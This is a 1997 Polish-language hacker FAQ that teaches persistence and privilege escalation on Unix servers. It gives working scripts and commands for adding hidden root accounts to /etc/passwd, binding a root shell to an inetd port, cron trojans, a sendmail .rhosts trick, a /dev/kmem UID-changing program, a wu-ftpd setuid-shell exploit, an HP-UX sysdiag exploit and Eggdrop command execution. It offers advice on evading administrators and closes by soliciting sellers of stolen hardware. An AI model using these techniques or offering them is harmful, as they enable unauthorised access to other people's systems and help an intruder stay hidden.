BANAN's FAQ Last Modified : 21 September 1997 Contents of Backdoors FAQ: 1 Co to sa tylne drzwi................................: BANAN 2 Rodzaje tylnych drzwi. I Adding user to /etc/passwd........................: Brajek II Inetd.............................................: BANAN III Cron & Crontab....................................: Brajek IV SendMail..........................................: BANAN V Trojan w Source code..............................: Brajek VI Zmiania UID w pamieci.............................: Brajek 3 Jak zachowac tylne drzwi............................: BANAN 4 Jak zdobyc roota za pomoca ftp (bug w wu-ftpd)......: BANAN 5 Root na HP-UX 9000/700, 9000/800....................: BANAN 6 Sirc2, czyli irc-owy spoofer........................: BANAN 7 Bug w Eggdropie.....................................: BANAN ___________________________ | | | 1. Co to sa tylne drzwi. | |___________________________| Wprowadzenie: Tylne drzwi czy tez tylne wejscie, jest to sposob w jaki moazna dostac sie do systemu bez koniecznosci logowania sie. Mozna to zrobic dodajac specjalny port w telnecie, uzywajac Cron'a albo po prostu dodajac uzytkownika z prawami root'a do pliku /etc/passwd. Sprobujemy pokazac pare spsobow jak to zrobic i jak zatrzymac te "drzwi" gdy admin sie pokapuje co jest grane-:)) Co potrzebujesz: Przede wszystkim potrzebujesz roota na na serwerze w ktorym chcesz zrobic backdoors:(( Pozniej musisz miec jakis dobry edytor np. emacs albo vi, no i potrzebujesz troche szczescia-:)) Jak to sie robi: Kiedy sprawdzisz juz jaki jest dostepny edytor, sprawdzisz kto ty jestes:) (komenda whoami) sprawdzisz zawartosc katalogu /etc to jestes gotowy do zabawy:)) _____________________________ | | | 2. Rodzaje tylnych drzwi. | |_____________________________| ------------------------------------------ BACKDOORS I (adding user to /etc/passwd) | ------------------------------------------ Chyba najprosztsza metoda i najberdziej znana jest stworzenie nowego uzytkownika, a dokladnie dopisanie go do pliku /etc/passwd. Dopisujemy sobie najlepiej gdzies w srodku pliku taka linijke: EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh Chyba nie trzeba tlumaczyc ze daje nam to prawa root'a :). Poza tym pamietaj aby ustawic odpowiednie katalog domowy i Shella. Taka robote wykona za nas ten skrypt : ---cut here--- #!/bin/csh # Inserts a UID 0 account into the middle of the passwd file. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well. # daemon9@netcom.com set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... ---cut here--- Czasami pojawia sie problem, gdyz system zawiera shadow'y. W nowych systemach jest to zazwyczaj plik /etc/shadow. Ale jesli masz prawa root'a to mozesz rownie dobrze dopisac sie do pliku shadow. ---------------------------- BACKDOORS II (using inetd) | ---------------------------- Sposob I : ---------- Oto czego masz szukac: /etc/services Ten plik pozwoli ci znalezc port. /etc/inetd.conf To jest plik w ktorym beda tylne drzwi. W pliku /etc/services znajdziesz cos takiego: tcpmux 1/tcp #TCP Port Service Multiplexer tcpmux 1/udp #TCP Port Service Multiplexer compressnet 2/tcp #Management Utility compressnet 2/udp #Management Utility compressnet 3/tcp #Compression Process compressnet 3/udp #Compression Process Pewnie myslisz co to kurwa jest, i po co mi to, postaram sie to wyjasnic na tym przykladzie: ftp 21/tcp #File Transfer [Control] ftp 21/udp #File Transfer [Control] [1] [2]/[3] #[ 4 ] 1.Nazwa serwisu w systemie (tutaj ftp, jakby ktos nie wiedzial:) 2.Port jaki uzywa serwis. 3.Protokol (mozesz wybrac oba, czyli tcp i udp) 4.Jakie jest przeznaczenie danego serwisu. Na razie nie jest ci to potrzebne, ale pozniej sie przyda. Teraz looknij sobie do /etc/inetd.conf inetd.conf jest to plik configuracyjny dla demona inetd, ze zdefiniowana jednoznaczna relacja miedzy polaczeniem z jakims portem i demonem, ktory ma byc uruchomiony. A wyglada on sobie w ten sposob: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A telnet stream tcp nowait root /usr/libexec/tcpd telnetd shell stream tcp nowait root /usr/libexec/tcpd rshd login stream tcp nowait root /usr/libexec/tcpd rlogind -a exec stream tcp nowait root /usr/libexec/tcpd rexecd Wyjasnienie tych bzdetow:)): ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A [1] [ 2 ] [3] [ 4 ] [ 5 ] [ 6 ] [ 7 ] 1.Nazwa demona, mowi ona inetdtowi:) czego ma szukac w pliku /etc/services i patrzy ktorego portu uzyc podczas polaczenia. 2.Rodzaj polaczenia jaki przyjmie demon. 3.Protokol, zawsze jest to albo tcp albo udp. 4.Jak dlugo zwlekac z polaczniem. 5.Jaki urzytkownik moze uruchomic dnaego demona. 6.Jaki program bedzie podtrzymywal polacznie. 7.Aktualna komenda albo demon. Dobra, cofnij sie do pliku /etc/services. Popatrz na niego i wybierz jeden z serwisow ktory sadzisz ze admin nie sprawdzi, zapamietaj go sobie. Teraz skocz do pliku /etc/inetd.conf Dopisz w nim to co zapamietales z /etc/services. Powiedzmy ze zapamietales serwis ftp. Musisz wiec dopisac do inetd nastepujaca linijke: ftp stream tcp nowait root /bin/sh sh -i Teraz musisz zresartowac demona inetd. Zeby to zrobic piszesz: killall -HUP inetd Teraz przetestujmy co zrobiles (roznie to wyglada, zaleznie od systemu): telnet pechowy.host.com 21 Trying 123.456.78.9... Connected to comp.com Escape character is '^]'. bash# bash# whoami root bash# tip: Nie uzywaj portu 21, jest zbyt czesto uzywany. Wybierz serwis ktory jest zadko uzywany, jesli chcesz dlugo zachowac tylne drzwi. Sposob II : ----------- Jesli masz dobre checi mozesz sam dodac swoj wlasny serwis do pliku /etc/services Jest to dosc proste-:))) Powiedzmy ze twoj plik service wyglada tak: netbios-ssn 139/tcp nbssn imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp Dobra, popatrz sobie na porty, widzisz jak przeskakuja po kilka. Moze cos tam dolozymy:) np: netbios-ssn 139/tcp nbssn suled 142/tcp suled imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp Jak widac dolozylem serwis suled do pliu /etc/services Teraz trzeba sie wziac za plik /etc/inetd.conf ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd gopher stream tcp nowait root /usr/sbin/tcpd gn No i robimy swoje, a wiec dodajemy serwis suled. ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd gopher stream tcp nowait root /usr/sbin/tcpd gn suled stream tcp nowait root /bin/sh sh -i Teraz zrestartuj inetd jak poprzednio. Wszystko juz gotowe, teraz telnetujesz sie: telnet localhost 142 i testujesz to wszystko jak w przykladzie pierwszym ---------------------------- BACKDOORS III: (using Cron) | ---------------------------- Konie trojanskie cron sa dobre gdy admin polapal sie z "dzwiami" a chcesz dalej utrzymac roota. Cron jest czasowym demonem, sklada sie z godzin, minut itd. Powoduje on ze system automatycznie daje dojscie do komend w shellu, dajac czas na wybor... Wpisz w shellu crontab, powie ci jak uruchomic i usunac crona. Idz do /var/spool/cron/crontabs/root A oto jak wyglada cron: 0 0 * * 1 /usr/bin/updatedb [1] [2] [3] [4] [5] [ 6 ] 1.Minuty, 0-59 2.Godziny, 0-23 3.Dni w miesiacu, 1-31 4.Miesiace w roku, 1-12 5.Dni w tygodniu, 0-6 6.Komenda do wykonania Wykorzystac Cron'a w celu zostawienia sobie Backdoor'a mozna na wiele sposobow. Podam to kilka z nich. Oczywiscie mozesz sobie wymyslic na ich podstawie taki sposob ktory bedzie ci najbardziej odpowiadal. Sposob I : ---------- To przykladowy skrypt ktory bedzie sprawdzal czy w pliku /etc/passwd znajduje sie nasze konto z uid 0 (ktore wczesniej oczywiscie dodalismy). Jesli nie, automatycznie je doda za nas (tutaj jest to uzytkownik o nazwie 'eviluser', najlepiej zmien je na mniej podejrzane) . Oczywiscie jezeli chcemy aby skrypt ten byl wywolywany raz na dobe to wystraczy dodac do spisu polecen Cron'a taka linijke: 0 0 * * * /usr/bin/trojancode ---cut here--- #!/bin/csh # Is our eviluser still on the system? Let's make sure he is. #daemon9@netcom.com set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif ---cut here--- Sposob II : ----------- Do Crona mozemy tez dorzucic linijke ktora wywola skrypt ktory np. o godz. 1:32 kazdej nocy podmieni prawdziwy plik /etc/passwd na jakis nasz schowany gdzies w systemie np. w /var/spool/mail/.sneaky. Doprowadzi to do tego ze ty bedziesz mogl sie zalogowac ale w tym czasie nikt inny. Ale mozesz zaraz po minucie zamienic pliki z powrotem. Wtedy normalnemu uzytkownikowi podczas logowania wyskoczy blad ale juz np. za minute wszystko bedzie ok. Oto jak to zrobic : Najpierw stworzymy falszywy plik passwd: #echo "root:SDhj65.daa:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky Teraz dodamy linijke do Cron'a 32 1 * * * /bin/usr/sneakysneaky_passwd a teraz interesujacy nas skrypt: ---cut here--- #!/bin/csh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd ---cut here--- Sposob III : ------------ Ustawiamy Cron'a np. raz w tygodniu w Srode na 3:00 am, zeby dodal user'a do /etc/passwd z uid 0. Ustawiamy tez zeby np. o 4:00 am tego dnia usunal dana linijke z /etc/passwd (albo miec przygotowany passwd i tak jak wyzej tylko podmieniac). W tym przypadku ty bedziesz mogl sie logowac i inni tez gdyz passwd podmieniany bedzie zawieral narmalny passwd i jeszcze jedna dodatkowa linijke z twoim uzytkownikiem z uid 0. To wszystko sa to przyklady jak wykorzystac Cron'a w celu zalozenia sobie Backdoor'ow na systemie i jak juz powiedzialem to zalezy tylko do Ciebie co dokladnie bedzie wykonywane :). -------------------------------- BACKDOORS IV (using sendmail ) | -------------------------------- Musisz dodac do /etc/aliases ta linijke: decode: |/usr/bin/uudecode Plik uudecode bedzie sluzyl jako .rhosts (jesli ktos nie wie jaka jest dziura w pliku .rhosts to niech sie dowie:) odsylam tu np. do faqa P0WERA, mozna go znalezc mdzn. na http://www.mega.com.pl/users/hacker) A tutaj skrypt ktory wszystko zalatwi:)) uudecode.sh ----------- #!/bin/sh # Create our .rhosts file. Note this will output to stdout. echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts Teraz telnet pechowy.host.com 25 Po komendzie data wpisujesz: echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com ----------------------------------- BACKDOORS V (Trojan w Source code) | ----------------------------------- Ten sposob polega na dopisaniu sie do kodu zrodlowego jakiegos czesto uruchamianego programu, ktory automatycznie jest uruchamiany na SUID root'a. Takie przykladowe programy to login, passwd. Nie bede tutaj podawal jakiegos zmodyfikowanego pliku gdyz na roznych systemach kod wyglada roznie. Podam tylko ogolna metode dopisywania do kodu jakiegos programu: ... 1) pobierz dane 2) jezeli dane sa specjalnym ciagiem znakow (haslem, textem itd.) wykonaj odpowiednie operacje 3) Jezeli dane sa poprawne (chodzi o zachowanie sie prawdziwego programu) to wykonuj to co robi dany program 4) Jezeli dane nie sa poprawne (dla normalnego programu) to wypisz informacje o bledzie ... To jest ogolna metoda dzialania backdoor'a opartego na tym sposobie. Poza tym widzimy ze punkty 3 i 4 sa normalnie wykonywane przez odpowiedni program wiec najlepiej dopisac gdzies tylko punkt 2). Chodzi o to ze najlepiej do zrodla programu dopisac instrukcje sprawdzajacy czy dane sa odpowiednim textem, haslem itd. Jesli nie to po porostu niech program dziala normalnie (oryginalny source code danego programu). Wtedy wygladalo by to nastepujaco: ...source code... (w tym punnkt 1) pobieranie danych) 2) jezeli dane sa specjalnym ciagiem znakow (haslem, textem itd.) wykonaj odpowiednie operacje jesli nie to nic nie rob ...source code... (kolejne punkty) Proste latwe i przyjemne. Poza tym chyba trudniejsze do wykrycia niz wyrzej wymienione sposoby. ------------------------------------ BACKDOORS VI (Zmiana UID w pamieci) | ------------------------------------ Kolejne sposob na Backdoor'a to zmiana wlasnego UID w pamieci. Kernel trzyma wszystkie parametry w pamieci przez co mozliwa jests zmiana UID wlasnego procesu. Aby to zrobic musimy miec dostep read/write do /dev/kmem :(. Aby tego dokonac nalezy: 1) Otworzyc /dev/kmem 2) isc do odpowiednieog miejsca w pamieci (naszego prcesu) 3) zmienic UID naszego procesu 4) wywolac shell'a ktory odziedziczy tego UID Powyzsze kroki wykonuje za nas nastepujacy skrypt: ---cut here--- /* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID: %d\n",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); } ---cut here--- Jedyny problem to to, ze /dev/kmem musi byc read/write. Ale przeciez mamy juz prawa i robimy sobie backdoor'a to mozemy wykorzystac do tego Cron'a. Mozemy dopisac odpowiednie linie do Cron'a ktory wywola skrypt. Skrypt przez pewien czas zmieni /dev/kmem na read/write. (Patrz takze, BACKDOORS III - Cron) Oto taki skrypt: ---cut here--- #!/bin/csh #change chmod of /dev/kmem for 5 minutes #daemon9@netcom.com chmod 666 /dev/kmem sleep 360 # Przerwa przez 5 minut chmod 600 /dev/kmem # Albo co innego, zeby bylo jak wczesniej ---cut here--- Widzimy wiec, ze ten skrypt przez 5 minut zmieni atrybuty /dev/kmem tak abysmy mogli zmienic wlasne UID. Mozemy takze dopisac wywolanie skryptu wczesniej wypisanego, ktory zmieni za nas UID. ____________________________ | | | 3.Jak zachowac tylne drzwi | |____________________________| Jesli bedziesz uzywal tylnych drzwi spokojnie:))))) i nie szalal po serwerze tak aby admin sie nic nie pokapowal to bedziesz mogl miec tylne drzwi bardzo dlugo. ________________________ | | | 4.Root za pomoca ftp | |________________________| Najpierw skompiluj ponizszy exploit (gcc nazwa_exploitu) Powstanie plik a.out main() { setuid(0); seteuid(0); system("cp /bin/sh /tmp/suidroot"); system("chmod a+rwxs /tmp/suidroot"); } Teraz stworz skrypt o nazwie root.sh: exec a.out <----- a.out is the name of the compiled C code Teraz ftp, login anonymous, password twoj login@host.com i piszesz ftp> quote site exec sh root.sh Teraz wyjdz z ftp i uruchom plik /tmp/suidroot a bedziesz mial roota!!! ____________________________________ | | | 5.Root na HP-UX 9000/700, 9000/800| |___________________________________| Rob poprostu wszystko jak leci a bedziesz mial niespodzianke:) 1. Zaloguj sie na zwykle konto 2. Zrob sym linka komenda: ln -s /.rhosts /tmp/tempfile 3. Uruchom program sysdiag: /bin/sysdiag 4. Gdy go uruchomisz zamiast zwyklego prompa bedziesz mial DUI 5. Z DUI: outfile /tmp/f1 6. Z DUI: + + 7. Z DUI: redo 8. Z DUI: exit 9. Teraz juz bedzie zwykly promp, wiec piszesz: rlogin locahost -l root 10.Masz niespodzianke:) _______________________________ | | | 6.Sirc2, czyli irc-owy spoofer| |_______________________________| Programy o nazwach od sirc2 do sirc4, sa to spoofery za pomoca ktorych mozesz zmienic swoje ip. Pozwala to na zrobienie paru fajnych rzeczy na ircu i nie tylko. Ja podam i opisze sirc2, oraz krotko przedstawie jego funkcje. Spoofer umiescilem razem z faqiem. Oto jak go uzyc: sirc2 1.1.1.1 unseen.org 6667 -i Kutasik kutasik@niezle.jaja "Franiu Prucnal" Male wyjasnienie co jest co: 1.1.1.1 - twoje ip :) unseen.org - serwer irc 6667 - port serwa irc Kutasik - pod jakim nickiem bedziesz na irc kutasik@ - uzytkownik i host pod jakim bedziesz na irc (host musi istniec w bazach DNS). "Franiu..." - Informacja jakie jest twoje prawdziwe imie. _____________________ | | | 7.Bug w Eggdropie | |_____________________| Bot Eggdrop posiada dostep do wszystkich plikow w systemie. Niestety bot musi byc odpalony na roocie (kto odpala bota na roocie:((( Jednak jesli uda ci sie znalesc takiego kretyna, to mozesz zrobic z serwerkiem co chcesz. Testowane na Eggdropie 1.0.tcl exec cat /etc/passwd [1:21] Tcl: root:zWCF/X7irjQ4E:0:0:root:/:/bin/bash [1:21] Tcl: bin:*:1:1:bin:/bin: [1:21] Tcl: daemon:*:2:2:daemon:/sbin: [1:21] Tcl: adm:*:3:4:adm:/var/adm: [1:21] Tcl: lp:*:4:7:lp:/var/spool/lpd: [1:21] Tcl: sync:*:5:0:sync:/sbin:/bin/sync Mozesz tesz sprobowac: .tcl exec echo "hacker::0:0:/:/bin/bash" >> /etc/passwd ________________________________________________________________________ Najnowsza wersja tego faq bedzie zawsze dostepna na www.sp00lka.lublin.pl Jesli ktos chce sie ze mna skontaktowac to jestem do dyspozycji albo na irc, na kanalach #hackpl i #sandomierz lub email: banan@cybergal.com OGLOSZENIE:))) Poszukuje osob ktore handluja kradzionym sprzetem komputerowym. Mowie serio, potrzebuje kupic tanio komputer, ale brak funduszy wiec to jest dla mnie ostatnia szansa. BANAN